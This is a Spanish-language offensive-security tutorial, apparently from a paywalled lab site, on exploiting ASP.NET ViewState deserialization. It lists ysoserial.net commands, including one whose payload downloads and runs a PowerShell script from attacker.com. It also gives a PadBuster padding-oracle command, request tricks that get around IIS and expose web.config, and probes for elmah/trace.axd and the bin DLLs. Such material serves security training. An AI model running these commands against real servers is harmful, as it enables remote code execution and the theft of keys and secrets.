Respuesta rápida
ASP.NET ViewState es un blob serializado .NET enviado en cada postback. Si el machineKey está expuesto (vía web.config disclosure, LFI, GitHub leak) o si enableViewStateMac=false (legacy apps), ViewState se convierte en RCE-as-a-service vía ysoserial.net. Padding oracle attacks contra ViewState encriptado siguen vivos en apps no parcheadas. El stack moderno (ASP.NET Core) no usa ViewState pero hereda issues de deserialization en BinaryFormatter, Json.NET con TypeNameHandling y XML deserialization.
Stack ASP.NET — fingerprinting rápido
| Indicador | Significa |
|---|---|
Cookie ASP.NET_SessionId | Stack ASP.NET clásico (Framework) |
Cookie .AspNetCore.Session | ASP.NET Core |
Header X-Powered-By: ASP.NET | Cualquiera de los dos |
Header X-AspNet-Version: 4.0.30319 | ASP.NET Framework 4.x |
HTML <input type="hidden" name="__VIEWSTATE"> | WebForms — vector ViewState directo |
HTML <input name="__EVENTVALIDATION"> | WebForms con event validation |
Extension .aspx, .ashx, .asmx, .axd | WebForms |
Extension .cshtml / no extension | MVC / Core |
URL (S(...)) o (A(...)) en path | Cookieless sessions |
ViewState — anatomía y vectores
ViewState es un blob __VIEWSTATE (base64) que el server emite en formularios WebForms. Contiene el estado serializado de controles. Por defecto:
- Tiene MAC (Message Authentication Code) firmado con
validationKey. - Opcionalmente encriptado con
decryptionKey. - El algoritmo viene definido en
machineKeyconfig.
<machineKey
validationKey="ABC...DEF"
decryptionKey="123...456"
validation="SHA1"
decryption="AES" />
Vector 1 — enableViewStateMac="false" (legacy)
ASP.NET <4.5 permitía desactivar MAC. Si lo encuentras (raro pero existe en apps muy antiguas):
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -c IEX(IWR -useb http://attacker.com/x.ps1)" \
--isdebug --islegacy
Genera __VIEWSTATE que cuando se deserialize ejecuta el comando. POST al endpoint vulnerable → RCE.
Vector 2 — machineKey leakado
Mucho más común. El machineKey aparece en web.config. Si tienes:
- LFI en endpoint
?file=../web.config - Backup files públicos:
web.config.bak,web.config.old,web.config~ - Git history leak:
git show HEAD~5:web.config - Visual Studio publish artifacts:
Web.Release.config.bak - Decompiled DLL con
machineKeyhardcoded (DnSpy → reverse engineering)
<machineKey
validationKey="70D2B19FD2A1AAA3D9F60E0B7A8D1D2EBF4F8C..."
decryptionKey="4D69E83A9810B...0AB37FFDCD2BE"
validation="HMACSHA256"
decryption="AES" />
Con esos valores, firmas un ViewState válido:
ysoserial.exe -p ViewState \
--path="/login.aspx" \
--apppath="/" \
-c "whoami" \
-g TypeConfuseDelegate \
--validationkey="70D2B19F..." \
--validationalg="HMACSHA256" \
--decryptionkey="4D69E83A..." \
--decryptionalg="AES"
Resultado: blob __VIEWSTATE con MAC válido. POST al endpoint → deserialize → RCE.
Padding Oracle contra ViewState encriptado
ASP.NET hasta el patch MS10-070 (oct 2010) era vulnerable a padding oracle si:
- ViewState encriptado con AES-CBC.
- Server respondía con error distinto según padding válido/inválido.
Tool: Padding-Oracle-Attack (PadBuster). Workflow:
- Identifica blob encriptado en cookie/ViewState.
- PadBuster envía variantes byte-a-byte midiendo response differential.
- Reconstruye plaintext byte-by-byte.
- Para encrypt arbitrary content, usa la misma técnica reverse.
padbuster.pl https://target.com/page.aspx?d=COOKIE COOKIE 16 -encoding 3
Apps no parcheadas en 2026 son raras pero existen en SaaS legacy de gobierno y enterprise. El parche cambió el behavior para que padding error y MAC error generen el mismo response (200 + redirect to error page) — pero implementaciones custom siguen siendo vulnerables.
Discovering machineKey vía info disclosure
web.config leak
GET /web.config HTTP/1.1
GET /Web.config HTTP/1.1
GET /WEB.CONFIG HTTP/1.1
GET /web.config.bak HTTP/1.1
GET /web.config.old HTTP/1.1
GET /web.config~ HTTP/1.1
GET /Web.Release.config HTTP/1.1
IIS por defecto NO sirve .config (request filtering bloquea). Pero bypasses:
GET /web.config%20 HTTP/1.1 # trailing space
GET /web.config.. HTTP/1.1 # doble dot
GET /web.config::$DATA HTTP/1.1 # NTFS alternative data stream
GET /web.config%00.txt HTTP/1.1 # null byte + permitted extension
GET /web.config;.jpg HTTP/1.1 # semicolon path parameter
GET /.%2e/web.config HTTP/1.1 # encoded traversal
elmah.axd / trace.axd
Error logs accesibles:
/elmah.axd
/trace.axd
/Trace.axd
/Reports/Elmah.axd
/admin/elmah.axd
Pueden contener:
- Stack traces con paths absolutos del filesystem.
- Connection strings parcialmente expuestos.
- Session tokens, antiforgery tokens.
- En el peor caso,
machineKeyaparece en stack traces cuando ASP.NET falla al validar ViewState malformado.
DLL decompilation
App carga DLLs custom desde /bin/. Si LFD permite descargarlas:
GET /Download?file=../../bin/Company.Web.Api.dll
Pasas la DLL por DnSpy o JetBrains dotPeek → source C# decompilado. Buscas machineKey, hardcoded passwords, connection strings, secret API keys.
# Línea de comandos
ilspycmd Company.Web.Api.dll -o ./decompiled
grep -r 'machineKey\|password\|secret' decompiled/
Sigue leyendo el chain completo
La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.
Practica esto en un lab
Asp Net Viewstate
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.